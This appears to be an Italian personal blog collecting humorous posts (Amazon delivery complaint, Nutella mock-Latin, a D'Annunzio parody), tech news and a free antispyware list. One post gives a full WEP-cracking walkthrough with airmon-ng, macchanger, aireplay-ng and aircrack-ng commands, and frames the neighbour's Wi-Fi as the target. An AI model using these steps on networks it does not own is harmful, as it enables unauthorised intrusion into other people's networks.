Pacco non consegnato.

 

 

I tormenti del pacco capitalista:

Amazon, mail a vuoto e cinesi

Il capitalismo sostiene che tu abbia ricevuto un prodotto che hai ordinato online, ma tu non l’hai ricevuto.

Lo splendido e oliato meccanismo del consumo digitalmente

mediato (desiderio-pagamento smaterializzato-attesa-possesso) s’è inceppato.

Che fai?

Scrivi una mail al capitalismo (per modo di dire: in realtà compili un form sul suo sito, form che è stato concepito per scoraggiarti, ovvero per disincentivare i reclami.

Un menu a tendina ti indirizza verso il tuo caso particolare secondo un imbuto che prevede diverse possibilità:

articolo difettoso, arrivato in ritardo, trovato a un prezzo più vantaggioso…

Per selezionare “prodotto non consegnato ” devi discriminare,

discernere, cioè pensare:

(che è proprio ciò che ti si vorrebbe impedire di fare rendendotelo difficile).

In questo caso il capitalismo è Amazon, il cui padrone è quel Jeff Bezos (patrimonio stimato 205 miliardi di dollari) che a luglio 2021 ha fatto un giro di 4 minuti nello spazio nella sua navicella Blue Origin.

Mi scrive da un ufficio globalizzato una certa Veronica:

Dopo aver effettuato una verifica ”, è l’incipit di una mail

lunghissima, “ti informo che l’ordine per cui ci hai contattati

è venduto sul nostro sito da un venditore di terze parti.

Ti spiego Daniela (nome della malcapitata che ha acquistato prodotti mai consegnati), Amazon in questi casi è solo una vetrina per questi negozi.

Il venditore è l’unico responsabile per la vendita e la spedizione dei propri prodotti…è la persona migliore per rispondere alle tue richieste in maniera veloce ed esaustiva”.

Veronica, impiegata della multinazionale, mi sta scaricando.

Il venditore, rispondo piccata a Veronica, è quello che sostiene di avermi consegnato un articolo che non mi ha consegnato:

non mi pare il soggetto più affidabile per dirimere la questione.

Ma la casella di Veronica è no-reply, non accetta mail in entrata.

Per parlare col capitalismo devo ricompilare il form sul sito.

Un messaggio mi informa che non posso fare un reclamo se prima non contatto il venditore, che –apprendo – è un’azienda privata ubicata a Shenzhen,Cina.

Procedo.

Esso, nella persona di Agata, mi risponde dopo un po’ confermando che il prodotto è stato consegnato:

Risulta”.

A chi? C’è un’istanza superiore a me in grado di verificare l’effettuata consegna, che a me è sfuggita?

Metto in dubbio la consistenza epistemologica della mia convinzione:

davvero non l’ho ricevuto?

Non potrebbe darsi che io lo abbia ritirato con le mie mani da qualche corriere insieme ad altra corrispondenza e lo abbia inavvertitamente buttato?

Ricompilo il form, assicurando la mancata consegna.

Il venditore risponde (sulla mia mail: il nostro rapporto è totalmente

asimmetrico) che devo controllare presso i vicini di casa oppure all’ufficio postale.

Valuto l’ipotesi.

Sorge in me un dilemma etico:

è giusto far pagare a questo povero venditore, con quello che ha

passato la Cina nell’ultimo anno e mezzo, il costo di un prodotto che giace presso il mio ufficio postale, solo perché a me non va di andare a ritirarlo?

Dura un istante.

Mi si attiva il logo s: posto che l’azienda è presumibilmente una scatola dentro infinite scatole societarie, facendo l’ordine io non mi sono avvalsa di uno sconto con la promessa che sarei andata a ritirarlo alle poste.

Devo lavorare per loro?

Fatto sta che io in mano non ho nulla, mentre loro hanno i miei soldi (mi fanno intendere, con questa sottovalutazione del mio caso, che sono davvero pochi spiccioli: allora perché non me li ridanno?).

Faccio un po’ di manovre confuse e allora mi telefona Amazon,

nella persona di Pasquale, da telefono ubicato in Uxbridge,

Regno Unito.

È gentilissimo, addestrato a mandarla per le lunghe (io ho fretta, ho altri pensieri:

su questo contano, sul predominio della vita, a un certo punto, sopra la tigna e il tenere il punto del cliente; contano sul logoramento psicofisico), il quale mi spiega che è semplicissimo:

bisogna attendere che il venditore risponda, ma devo dargli 48 ore; al che il residuo logo s mi impone di chiedere:

e se non risponde? Pasquale, semplicemente sbigottito, nondimeno replica assertivamente che devo aspettare fino alla scadenza del termine massimo dei tempi di spedizione, che il venditore ha previsto lunghissimi apposta, di modo che (ma questa è una mia congettura) nel frattempo il cliente si dimentica o sperabilmente muore, e quand ’è così non che i parenti si mettono a esigere tutti gli ordini non ricevuti in vita dal de funto.

La questione comincia a farsi gravosa, politica:

magari il corriere è passato, ha suonato, ma io ero sotto la doccia e non ho sentito, e lui, poveraccio, ha scritto che aveva consegnato qualcosa che non ha consegnato, cosa strana perché i corrieri di Amazon mandano una mail pochi secondi dopo aver consegnato un pacco, e così per ognuna delle 200, 300 consegne che fanno al giorno, per 9 ore al giorno, per 6 giorni alla settimana, scendendo e salendo sul furgone centinaia di volte, urinando nelle bottiglie per non perdere un secondo; se consegnano poca merce, vengono

puniti; se ne consegnano troppa, il giorno dopo ne avranno di più nel furgone perché l’algoritmo ha stabilito che sono in grado di farlo.

Bezos paga zero dollari di tasse negli Usa, e in Europa ne paga pochissime perché le imposte sono sui profitti e non sui ricavi (basta investire molto);

io e i suoi corrieri lavoriamo tutto il giorno per lui, per risolvere questo che tecnicamente è un furto ai miei danni perpetrato da “terze parti”.

Lascia stare, mi consigliano amici e parenti, e in effetti mi converrebbe, ho già perso tre giorni, nei momenti meno opportuni mi arrivano telefonate dall’Albania o dall’Irlanda a cui rispondo sottoponendomi a una litania di premesse (“Stai lavorando?”: il capitalismo ti dà del tu perché ti ama.

Ti avviso che la chiamata potrebbe essere registrata”:

potrebbe?

Cosa ho fatto di male?

È chiaro che non si fidano di me e sperano che cada in contraddizione).

Scrive il venditore,

ribadendo che devo “controllare:

1 Casella postale domestica

2. Area d’ingresso

3 Dietro il prato

4. Vicinato”.

Ricontatto Amazon, furente (quanto costano i miei sentimenti?),

soprattutto perché non ho un prato.

Francesco mi telefona da Tallaght, Dublino, è dispiaciutissimo, si scusa a nome del capitalismo e dice che Amazon mi rimborserà (che avevo pensato?), poi mi manda una mail lunghissima con parole come “Dipartimento ”, “Tempistica”, “Contatta ”, “Problemi con l’ordine”.

Nel frattempo sullo schermo appare l’oggetto che avevo ordinato, e scopro di desiderarlo ancora, e anche se passo parte della giornata a leggere e a rispondere al telefono e alle mail sono a un passo dal cliccare su “Compralo di nuovo”.

Così ci riduce il consumismo, servi scemi e devoti della merce adorata, che arriva, o giace.

Questo è lo Psico-diario di una consegna mancata di

Daniela Ranieri

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Striscia domenicale dello Stefano 

 

 

La preghiera dell’Astice.

 

Ehi vacanzieri.. sono l’astice,

puoi vedermi in quella vasca davanti i tuoi occhi al supermercato, al ristorante,

sono stanco, sono depresso

non ho voglia di vivere

passo la mia giornata immobile

le mie chele sono legate

il mio cuore e’ infranto

vorrei piangere ma le mie lacrime non si noterebbero, l’acqua le fa sparire,

vorrei gridare, ma l’acqua non farebbe apprezzare il mio dolore

vorrei morire ora, ma Dio non permette che io lo faccia

vorrei chiedere a Dio perche’ io debba stare qui, ma potrebbe non rispondere

Soffro, soffro tantissimo

perche’ il grave destino mi ha portato qui?

Ogni giorno fermo nella mia posizione mi sveglio, ho passato una notte a sognare di cambiare acqua

quell’acqua che bollendo mi portera’ alla morte

il dolore sara’ tanto

ma mai paragonabile a quello che soffro ora

spero avvenga presto

non ce la faccio piu’ vorrei uccidermi, ma non posso

vi prego compratemi

fatemi finire questo dolore

fate che la mia anima sia di nuovo mia

e non di questa vasca che puzza di pesce marcio al Conad di Casalcoso.

Ora lo Stefano in ferie ci ricorda la partenza del 5 stelle.

 

 

 

Programmi antispyware per il tuo laptop.

 

 

Ti sei mai chiesto se sei spiato?

È certamente possibile che il tuo vicino o anche il governo ti stiano spiando, ma c’è anche un altro tipo di spionaggio di cui dovresti preoccuparti:

lo spyware.

Lo spyware è un file dannoso che si nasconde sul tuo computer e registra vari tipi di attività.

Lo spyware può rubare le tue informazioni finanziarie, password e persino registrare tutto ciò che digiti sulla tastiera.

Peggio ancora, lo spyware è in genere progettato per essere difficile da trovare, quindi potresti non rendertene nemmeno conto se non stai utilizzando gli strumenti antivirus giusti.

Strumenti gratuiti per la rimozione degli spyware..

  1. Panda Free Antivirus (Panda Dome gratuito)

  2. Antivirus gratuito AVG

  3. SUPERAntiSpyware

  4. Adaware Antivirus gratuito

  5. Comodo Anti-Malware BOClean

01. Panda Free Antivirus (Panda Dome gratuito)

Come affermato in precedenza, Panda è uno dei migliori programmi antivirus sul mercato con un buon riconoscimento del nome. Ha valutazioni elevate dal laboratorio di test indipendente AV-Comparative, dove ha ricevuto un perfetto 100 sulla sua capacità di rilevare software dannoso. Detto questo, ha ricevuto un 60 percento relativamente scarso quando si trattava di inviare falsi positivi, un’indicazione che il software adotta un approccio più pesante del necessario quando identifica il potenziale malware.

Ecco come Panda Free Antivirus si allinea ai criteri di valutazione:

  • Costo: gratuito a vita senza costi nascosti

  • Requisiti di iscrizione/download: Nessuno (richiede la creazione di un account opzionale che può essere rifiutato)

  • Sistemi operativi supportati: Windows XP – Windows 10, Android 4.0.3+

02. Antivirus gratuito AVG

strumenti gratuiti di rimozione dello spyware avg

Uno dei più grandi nomi nel settore dei software di sicurezza, lo strumento AVG Free Antivirus è disponibile da oltre un decennio e oggi è associato al popolare nome di Avast.

In quel periodo, l’azienda ha aggiunto un gran numero di aggiornamenti e funzionalità, molti dei quali sono bloccati dietro un paywall.

Tuttavia, puoi comunque utilizzare AVG gratuitamente per rimuovere spyware, malware, adware e altri file dannosi.

Ecco come AVG soddisfa i miei criteri:

  • Costo: gratuito a vita senza costi nascosti

  • Requisiti di iscrizione/download: Nessuno (richiede la creazione di un account opzionale che può essere rifiutato)

  • Sistemi operativi supportati: Windows 7 – 10, Mac OSX 10.8 Lion+, Android 2.2+

03. SUPERAntiSpyware

strumenti di rimozione dello spyware superantispyware

È abbastanza chiaro di cosa tratta SUPERAntiSpyware. Questo strumento è stato progettato specificamente per rimuovere malware, con un’enfasi sulle varianti di spyware. Secondo il suo sito Web, SUPERAntiSpyware è progettato per rimuovere malware, spyware, adware, trojan, worm, ransomware, keylogger, hijacker, rootkit e altro.

SUPERAntiSpyware si comporta bene con i criteri dell’elenco:

  • Costo: gratuito a vita senza costi nascosti

  • Requisiti di iscrizione/download: nessuno

  • Sistemi operativi supportati: Windows 8 – Windows 10

04. Adaware Antivirus gratuito

Sebbene non sia uno strumento particolarmente noto, Adaware Antivirus Free è una valida opzione per rimuovere lo spyware.

Adaware fornisce soluzioni antivirus a pagamento, ma il suo strumento gratuito include uno scanner e un dispositivo di rimozione antivirus, protezione del download e protezione antivirus in tempo reale per aiutare a prevenire eventuali infezioni future.

Ecco come Adaware Antivirus Free si confronta con i miei criteri:

  • Costo: gratuito a vita senza costi nascosti

  • Requisiti di iscrizione/download: Richiede il codice di iscrizione e di attivazione per la versione gratuita

  • Sistemi operativi supportati: Windows 7 – Windows 10

05. Comodo Anti-Malware BOClean

Sebbene sia un programma abbastanza semplice senza molte funzionalità aggiuntive, Comodo Free Anti-Malware BOClean offre una buona rimozione dello spyware e una protezione in tempo reale contro ulteriori infezioni.

Il software è anche ben valutato da laboratori di test indipendenti e da altre fonti di revisione del software.

Ecco le statistiche di base sullo strumento anti-malware gratuito di Comodo:

  • Costo: gratuito a vita senza costi nascosti

  • Requisiti di iscrizione/download: nessuno. Tuttavia, cerca di installare più programmi aggiuntivi, cambiare DNS e altre modifiche alle impostazioni non necessarie

  • Sistemi operativi supportati: Windows XP – 7

Conclusioni

Per anni, se volevi il miglior software antivirus, dovevi pagare per una vera protezione.

È vero che qualsiasi software antivirus gratuito mancava di alcune funzionalità fondamentali, come la protezione dalle frodi o il blocco dei collegamenti.

Oggi però le cose sono cambiate profondamente e anche un buon software anti-spyware gratuito ti può proteggere efficacemente.

Aggiornamento WhatsApp in arrivo.

 

 

Dovrebbe mancare davvero poco all’arrivo sulla scena di un interessante aggiornamento WhatsApp per il pubblico iPhone e Android.

WhatsApp sta lavorando a una nuova funzionalità chiamata “reazioni ai messaggi“.

La funzionalità in sé non è nuova in quanto è disponibile anche su app di messaggistica popolari come Messenger, iMessage, Twitter e Instagram DM. WhatsApp sta ora testando questa funzionalità che è ancora nelle sue prime fasi di sviluppo.

Le reazioni ai messaggi su WhatsApp dovrebbero funzionare in modo simile ad altre app come Messenger e Twitter.

Quanto manca all’arrivo dell’aggiornamento WhatsApp con le reazioni ai messaggi

Puoi reagire a un messaggio con le emoji e quelle solitamente disponibili sono cuore, risata, rabbia, sorriso, mi piace o non mi piace.

Non sappiamo come saranno le reazioni ai messaggi su WhatsApp, ma WABetaInfo ha confermato che la funzione è in fase di test.

Uno screenshot fornito dal blog ha mostrato un messaggio che recita: “Hai ricevuto una reazione. Aggiorna la tua versione di WhatsApp per vedere le reazioni”.

Questo messaggio viene mostrato quando l’utente non ha quella particolare funzione sulla sua versione di WhatsApp. Ciò conferma che WhatsApp sta testando le reazioni ai messaggi e molto probabilmente ne vedremo di più nelle prossime settimane.

Si prevede inoltre che raggiungerà presto gli utenti beta di WhatsApp, come abbiamo visto con la maggior parte delle funzionalità in arrivo.

Difficile prevedere le tempistiche di arrivo dell’aggiornamento WhatsApp con le reazioni ai messaggi. Di solito, tra la prima apparizione in beta ed il rilascio ufficiale trascorre non meno di un mese.

Fatevi la SPID al supermercato.

Da Settembre il Codice Pin per entrare in INPS non sarà più valido e potrete entrare solo con l’Identità Digitale ovvero la SPID e quindi potrete attivarla andando in Posta oppure anche presso i supermercati Coop.

La sperimentazione è partita presso nei punti vendita di Firenze, ma a breve il servizio sarà esteso a tutti i punti vendita dell’intero territorio nazionale.

Il servizio SPID erogato da Coop si appoggia all’identity provider Namirial.

Come si attiva SPID con Coop?

Basta cercare online il punto vendita di proprio interesse (alla pagina www.e-coop.it/negozi-spid), seleziona dalla mappa il supermercato abilitato alla richiesta di SPID e poi cliccare su “Richiedi SPID in questo negozio”.

La procedura di avvia online e si conclude fisicamente presso il punto vendita selezionato, che sarà quello in cui ci si deve recare per l’autenticazione e l’attivazione dell’identità digitale.

Con una procedura guidata si forniscono i propri dati e contatti (servono codice fiscale, tessera sanitaria e un documento di riconoscimento italiano in corso di validità). Dopo la registrazione sul portale, si riceve una mail di riepilogo con le informazioni e i documenti da portare al punto vendita prescelto per richiedere lo SPID.

Bicicletta.

 

 

 

 

Allora cominciamo con la definizione matematica.. che cos’e’ una bicicletta.

Un triangolo e due circonferenze e definirla sessualmente ad una donna e’ semplice due circonferenze ed un triangolo e secondo voi perche’ si dice montare in bici?.
Pensateci bene, e’ uno dei mezzi piu’ economici che possiede l’uomo per percorrere lo spazio ad una velocita’ superiore a quella che otterrebbe correndo con le sue sole gambe.

Pero’ anche la bici ha bisogno di gambe, ma per far girare i pedali, per moltiplicare meccanicamente lo sforzo.

La meraviglia della bicicletta e’ che trasforma noi, esseri a tre dimensioni, in bipedi a due dimensioni.

La bicicletta, almeno dal punto di vista fisico, e’ una struttura
bidimensionale…non ha quasi spessore.

La terza dimensione e’ solo quella dei pedali e del manubrio, che e’ il vero punto in cui ci manifestiamo nello spazio (la sella invece, e’ qualcosa di ambiguo, come ha capito benissimo Picasso che l’ha trasformata, col manubrio in una testa di toro).

Ebbene, la cosa meravigliosa delle due ruote, e’ il fatto che noi a cavalcioni della bicicletta scivoliamo sulla pelle del mondo muovendoci tra cielo e terra.. l’aria e’ lo strumento che noi attraversiamo, mentre siamo tangenti alla terra mediante un sottile tubolare rigonfio, quasi una linea.

Negli ultimi anni, la bicicletta si e’ evoluta, tanto e’ vero che come per l’automobile, non esiste piu’ un solo modello..dall’avvento della mountain bike, vera novita’ che invase le nostre citta’ una ventina di
anni fa’..era l’equivalente della Jeep.

La bicicletta quindi ha cambiato forma e dimensione delle gomme della sella e dei componenti ma ha cambiato un modo di vita, siamo tornati su lei con criteri diversi.. prima era considerata un mezzo
di chi non poteva permettersi altro che lei, ora e’ un mezzo che serve per farci andare piu’ veloci, piu’ liberi e con desiderio di muovere questo corpo che ormai non e’ piu’ avvezzo a sforzi e per darci dentro ora anche i meno dotati o piu’ pigri si avventurano in posti recondi con la pedalata assistita.

E vai bicicletta, siamo tornati uniti al tuo triangolo e alle tue due circonferenze (per i non competenti due quadrati).

 

 

Vogliamo bucare reti Wireless?

 

 

 

Entrare nelle reti wifi di altri e’ illegale e fatta la premessa dobbiamo risolvere il fatto che in facolta’ i server fanno cagare veramente e il vicino di appartamento bastardo per che cavolo ha ficcato la pass.. quindi a livello studio vediamo di bucarla..o quantomeno tentiamo..

Armiamoci e partite prendete..

1) Un pc portatile con una scheda wireless compatibile con backtrack
2) Un dvd con backtrack che potete scaricare da qui
3) Pazienza e una chiave di rete wep

Inseriamo il dvd di backtrack e facciamolo partire prima di windows una volta terminato il caricamento scriviamo sul terminale: startx

In questo modo si avviera’ la modalità grafica, eccoci finalmente in backtrack.

Iniziamo subito, apriamo il terminale o meglio la console.

Digitiamo subito iwconfig e vediamo come si chiama la nostra scheda wireless (dovrebbe essere wlan0)

Assicuriamoci che il wireless sia spento e cambiamo il nostro indirizzo MAC (ma visto che stiamo testando la nostra rete casalinga non credo sia necessario -.-), scriviamo:

airmon-ng stop wlan0
scriviamo
ifconfig wlan0 down
scriviamo
macchanger -m 00:11:22:33:44:55 wlan0

Abbiamo cambiato il nostro indirizzo mac in 00:11:22:33:44:55 potete anche cambiarlo, l’importante e’ ricordarlo! Anche wlan0 puo’ cambiare dipende dalla scheda wireless.

Adesso accendiamo la scheda wireless scrivendo:
airmon-ng start wlan0

E iniziamo finalmente a scannerizzare la zona per cercare LA RETE DI CASA NOSTRA e digitiamo:
airodump-ng wlan0

Ora compare la schermata con tutte le reti wifi che il nostro pc riesce a rilevare, scegliamo quella che dobbiamo bucare IN QUESTO CASO QUELLA NOSTRA PERCHE’ DOBBIAMO TESTARLA.

Quindi una volta che compare la rete che ci interessa premiamo control+c e il processo dovrebbe stopparsi.

Ora prendiamo carta e penna e segniamo il canale (CH) il BSSID e anche l’ESSID della nostra rete.

Digitiamo adesso questo comando; (le parentesi dovranno essere sostituite con i vostri dati):

airodump-ng -c (CH) -w sme –bssid (BSSID) wlan0

In questo modo “spiamo” solo la nostra rete, quindi sostituite CH e BSSID con i vostri dati e dove c’e’ scritto sme potete lasciarlo cosi’ o mettere un nome qualunque, l’importante e’ che lo ricordiate.

Adesso apriamo un altra console/terminale e scriviamo:

aireplay-ng -1 0 -a (BSSID) -h 00:11:22:33:44:55 -e (ESSID) wlan0

se siete fortunati dovrebbe uscire scritto “autenticazione riuscita”; comunque date anche questo comando:

aireplay-ng -3 -b (BSSID) -h 00:11:22:33:44:55 wlan0

se tutto va per il verso giusto diamo il comando:

aircrack-ng -n 64 -b (BSSID) sme-01.cap

e dovrebbe comparire la chiave di rete; togliete i due punti che dividono a due a due la password e.. il buco e’ fatto.

Stretta la foglia, larga la via, bucate la vostra che io buco la mia.

Concludiamo il post con la striscia agostiniana dello Ste e l’illustrazione dei problemi famigliari..

 

Nutellae est.

 

 

Considerato la giornata che volge al Garbino lascia la spiaggia e prenditi il vino anzi no prendiamo un vecchio post in latino (arrangiatum) e un barattolo Netellorum e passiamo il pomeriggio dai:

Nutella omnia divisa est in partes tres:

Unum:
Nutella in vaschetta plasticae.

Duum:
Nutella in vitreis calicibus custodiae.

Treum:
Nutella in magno baractolo sita (magno baractolo sì, sed melium est si “magno” (romanesca favella) Nutella in baractolo.

Nutella omnibus pueris atque puellae placet, sed, si troppa Nutella fagocitare, cicciones divenire, cutaneis eructionibus sottostare et brufolos pedicellosque supra facie stratos formare, atque, ipso facto, diarream cacarellamque subitanea venire.

Propterea
quod familiares, et mammae in particularis, semper Nutella in impensabili locis celant ut eviteant filiis sbafare, come soliti sunt.

Sed
domanda spontanea nascet: si mamma filiales sbafationes contraria est, pera Nutella comprat et postea celat?

Intelligentiore fuisse non Nutella comprare manco per nihil…sed forse etiam mammae Nutella sbafant: celatio altrum non est quam materna propterea trasversalis vendettam
quod ea stessa sua volta matris suae victima fuit.

“Sic
heri mamma tua Nutella celavit, sic hodie filiis tui Nutella celit”.

Sed
populum toto ingenium puerorum cognoscit si in ballo Nutella est: vista felinos similante habent ut in tenebris credentiarum scruteant; manes prensilis aracnidarum modo ut super scaffalos sgabuzzinarum arrampicant; olfactum
caninum, canibus superior, per Nutella inter mucchios anonimarum marmellatarum fructarum scovare.

Memento
semper: filius, inevitabile, Nutella scovat.

Sed
non semper magnat. Infactum, fruxtratione maxima filius habet quando barattolum scovat, sed hoc baractolum novum atque sigillatum est, propterea quod si filius
aprit et baractolum intonsum intaccat, sputtanatus fuisse!

(“Ah!Novus atque sigillatus erat!”).

Hoc
res demonstrat omnibus mammis nascondimentos baractolorum Nutellae fatica sprecata esse.

Salutis bacisque

De Carlus DemetriumTogarusXXIX de Casalbordinorum lidus

DE
NUMEROSIBUS MODIS PER NUTELLAM MANDUCARE ATQUE STRAFOCARE IN OMNIBUS
OCCASIONIBUS


Sbafatio Nutellae omnia divisa est in partes tres.

Unum: Sbafatio Normalis (ufficialis in prima colatione cum supervisione
mammarum).

Duum: Sbafatio Peccaminosa atque Clandestina (sfructandum absentiam mammarum
quae uscitae sunt ad spesam faciendam).

Trium: Sbafatio Hitchcock, ad altissimum rischium sputtanandi esse (ovverum quando Nutella sbafada est clandestiniter mamma praesens in alterum locum in
casa, et habet suos cazzos faciendos, sed ab uno momento ad alterum retornare potest in cucina).

CAPITOLUS PRIMUM


Sbafatio Normalis


Clarum est quae Prima Colatio, mamma observante et controllante, apportare potest goduriam relativam: quantae volte filius giungit ad tabulam credendo videre fettes paninorum integralium et invicem sunt panini normali supra quos mamma spalmavit stratum simbolicum Nutellae, carta velina similantem, quae causat colorationem beigem et quindi effectum opticum paninibus integralibus.

Mammae fixate sunt Nutellam male facere ad panciam et propterea quod semper volunt tenere in oculo filios magnantes Nutellam et (loro stesse) spalmant fetta per fettam.

Sed quaesitum spontaneum nascit: si mamma vae semper dicunt filium ormai est diventato magno, est hora ut sibi faciat lettum in camera da solum, est hora ut sibi faciat unum lavorum, ut sibi faciat unam familiam, ut sibi faciat unam casam, quia mannaggia la mortem non sibi potest facere da solum paninos quoque?

I panini nullo modo! Paninos non se li potest facere; paupertate suina! (Porca miseria!). Paninos cum Nutella facit semper mamma!

Difficilissimus est, quando mamma preparat panem atque Nutellam, distinguere paninos iam preparatos a paninis qui preparaturi sunt: in facto Nutella spalmata tantum poca est quae quasi non si notat differentiam. Et hac res accadit poiche’ mamma pensat sbafationem esageratam Nutellae directa causa esse tropporum sestertiorum qui spendituri sunt in Clearasil Topexanque.

Et nos d’accordum quoque fuissimus, si postea mamma ipsa filios non rimpinzasset cum alteris micidialibus schifezzis, typus Medagliones Pollorum Manzotin, Simmenthal carnes, Spunti’ que et qui plus ne habet plus ne mettat: totae res
quae habent plus colorantes et conservantes lorum, quae facies Marinae Ripa Meanae at que Sandra Milii quando se truccant.

Ad hoc punto, normalis est insinuatio in capoccia filii desiderium vindictae at que rappresagliae nazistae similem: per ogni singulum cucchiainum Nutellae negatum causa mammae, decem cucchiainos magnaturi sunt cum sbafationibus clandestinis.


CAPITOLUS SECUNDUM

Sbafatio Peccaminosa Atque Clandestina


Conditio sine qua non per exercitare Sbafationem Peccaminosam at que Clandestinam est “Absentia Mammae”.

Purtroppum, sicut omnes cognoscunt, quando filius habet irrefrenabilem libidinem Nutellae, mamma semper praesens est infra scatolas.

Isti momenti sfructandi possunt ad individuandum secretum nascondilium Nutellae.

Individuato nascondilio, cum dovuta calma attendere debetur uscitam
mammae.

Extremae importantiae res est agire subito postea uscitam mammae, quia absentia potest esse durata longa aut brevis.

Trovato barattolo in remoto mobile cucinae, occultatum a barriera protectionis mammistica, formata ab falange multiplae filae barattolorum Pelatorum, Fagiolorum, Confetturae Fructae, absolutamente debetur rimembrare esactum ordinem cum quo si spostant omnes barattolos antistantes Nutellam, quia, postea, totum debet esse remissum exactamente sicut erat: quasi semper, in facto, mammae habent piantinam disposictionis barattolorum in mobile et, appena tornatae, controllant…

Haec Sbafatio Clandestina difficiliter sgamata ab mamma, a meno quod non accadeat aliqua tragica fatalitas causa totalium sputtanamentorum:

Tragedia prima.


Sputtanamentum Automobilisticum: mamma est appena uscita, et filius fiondaturus est supra Nutellam, sed inaspectata-mente, mamma retro venit quia dimenticata fuit chiavi centoventisettis, et filius colto est cum quattuor
ditis affondatis in barattolo;

Tragedia secunda.

Sputtanamentum Equilibristicum: captum ab attacco godimenti Nutellico, filius, in praecario equilibrio super sgabellinum (utilem ut raggiungat altissimum pensilem) facit mossam falsam causando totalem crollum totorum barattolorum in mobilem atque conseguentem drammaticam mischiationem ordinis precostituiti.

Unica possibilitas ad sgamatos non esse ab mamma est simulare movimentum sismicum octavo grado scalae Mercallorum, sed sperantiae quae mamma abboccat
minime sunt, a minus quod rincoglionita totaliter fuisse;

Tragedia tertia.

Sputtanamentum familiare: in bel mezzum sbafationis arribat fratellinus minor secchionis atque un minimum cacacazzus, qui ricattare potest fratellum grandem
in saecula seculorum.


CAPITOLUS TERTIUM

Sbafatio Hitchcockiana


Sine dubium, hac sbafatio est plus difficilis atque rischiosa et est ultima possibilitas rimasta filio disperato si crisis abstinentiae est profunda et mamma non habet minimam ideam uscendi ab casa. Technicae usandae demandatae
sunt ad sensibilitatem atque alto grado seafationis filii; professionalitas ognunorum est in ballo: honor categoriae Sbafatorum Clandestinorum salvandus est. Unicum consilium ut filius evitet clamorosas figuras ex sterco est tendere orecchium typum Star Trek ut si advertat eventualem appropinquamentum passorum
mammae (Se nella vostra domo habete moquettem, fottutis siete ad novantaquinque per centum).

In omni modo, in generale, necesse est non indugiare troppo in magico momento estasis Nutella raggiunta. Ad Sbafationem Hitchcockiana suggerita est tattica “Na botta e via”.

Eh! Quod mazzum ut si raggiungeat minimam dosem giornalieram Nutellae!

CAPITOLUS QUARTIUS

Sbafatio Peccaminosa Atque Clandestina


In omni modo, fermo restante, a parte filii, generalis rodimento deretani,
ultimi quaesiti nascunt:
mammae, ma si perfinus per drogam lex previdit modicam quantitatem… mammae, cur estis sic cacacazzi cum fillis tantum cum Nutella?

Et non vi transeat manco per anticameram materiae cerebralis si filius
returnans ad domus ammaccavit macchinam subito retirata ab carrozziere mattina antecedente; et non vobis ne potest fregare minimum se filius in pagella habet votos similes temperaturibus minimae Bolzanii; et non vi passat manco po’ cazzum se amici filii sunt brutti ceffi absolute minime raccomandabiles inter quos famigeratus Peppe, notissimus per spacciationem substantiarum vietatissimarum ab lege (Inter parentesis, vos mammae benissimo cognoscete quia
vendit vobis moltiplices qualitates herbarum ab Marocco provenientes) et ponemus petram supram; sed dico ego, proprio cum Nutella vobis ispiratis ad cazzum cacandi? Ma dateve na regolatam!

 

 

MORALIS
ISTAE FABULAE

Mammae, vobis chiedemus cum voce ab plancto rupta

cacciate ‘sta Nutellam

Maialam Mignottae!

Stephanus et surculum quem forte hic Matthaeus Nisl id

 

 

La pioggia sul cappello.

 

 

 

Il fatto che i miei gusti siano piu’ che altro a sfondo satirico/goliardico mi inducono a preferire delle parodie di cose celebri che a scuola ci hanno inculcato e anziche’ vederle come travi negli occhi a volte possono essere divertenti no?

Ad es. uno dei lavori del D’Annunzio (considerato che sono qui nella sua terra), da me piu’ volte preso per il culo per la faccenda della costola che si e’ tolto per potersi autoblowjobare (balla metropolitana che girava a scuola.o no?)..

dicevo una poesia che lo stesso ha dedicato alla sua sbarbata …

ad ER mione.

Ci ricordiamo pesantemente la scena nel bosco sul litorale Toscano sotto una pioggia d’estate, quando il poeta passeggia con la sua donna e gli dice di stare zitta muta e rassegnata per sentire la musica delle gocce (di pioggia ovvio almeno spero) che cadono un poco dappertutto e che trasformano i due in creature vegetali, questa parte della poesia lascia libera interpretazione alle frasi del tipo penetrazione vegetale, vabbe’ si potrebbe parodiare a questo punto in maniera troppo facile per essere distorta e di cattivo gusto, sempre sotto parodia, ovvio fatta stringata in due tempi per non essere troppo presa sul serio e per non rompere le palle a chi per caso
la leggera’. Insomma .. capite che scherzando con la poesia, la parodia ne mette in luce anche la grandezza.

Sara’ un gioco tra il classico e lo scherzo.

Questa non e’ poesia leggera (la seconda neh), cabaret: e’ poesia comica, .

Si tratta di una presa per il culo, che si rifa’ ai testi, , ma anche agli sputtanamenti sui poeti».

Che ve devo di’ a me piace ed e’ un modo per ricordarsi la poesia pesante del Divino Gabriele no?Specialmente in queste giornate di pioggia di Casalcoso e ne e’ venuta parecchia per la gioia degli agricolviticultori

(senti le sue ossa come vibrano nella fossa)…

e fa’ anche rima baciata rima
fortunata..

La pioggia sul Cappello

(parodia della “La Pioggia nel Pineto”)

Zitta, muta.Il cielo
e’ diventato una nube
vedo oscurarsi le tube
non vedo l’ombrello
ma odo sul mio cappello
di paglia..
Da venti euro e cinquanta.
la gocciola che si schianta
Come una bolla
tra il nastro e la colla.
Minchia..piove
sicuramente
piove sulle matrone
vestite di niente
piove sui bimbi recalcitranti
piove sui mezzi guanti
turchini.
piove sulle giunoni
sulle sbarbate a passeggio
piove sovra i coglioni
e quel che e’ peggio
piove sul mio cappello
leggiadro,
che ieri ho pagato
che oggi si guasta
piove governo ladro
E piove a dirotto
da tutte le nubi
piove dai tubi
sfasciati
Dall’acquedotto
del cielo
piove sui cani spelati
piove sul melo e sul tiglio
piove sul padre e sul figlio
piove sui putti lattanti
Sui sandali rutilanti
sul Pegaso bolso
su l’oriolo da polso
piove sul tuo vestitino
che m’e’ stato un tesauro
piove sulla salvia e sul lauro
Sull’erba e sul rosmarino
piove sulle vergini schive
piove su Pasife e Bacco
piove persin sulle pive
nel sacco
e piove soprattutto
Sul tuo cappellino distrutto
mutato in setaccio
che ieri ho pagato
e che adesso e’ uno straccio,
o Ermione
che scordi a casa l’ombrello
nei giorni di mezza stagione.

E concludo sto post domenicale dl sapore autunnale con lo strip dello Stefano e la sua preveggenza Covidiale..

 

 

 

 

SE.

 

 

 

E’ una prassi nettamente inglese quella di dover rifiutare delle onorificenze.

Cento anni fa nel 1921 Joseph Rudyard Kipling rifiuto’ di diventare Membro dell’Ordine al merito del Regno Unito e nello stesso tempo disse che SE saprai trattare la vittoria e la sconfitta allo stesso modo..sarai un uomo.

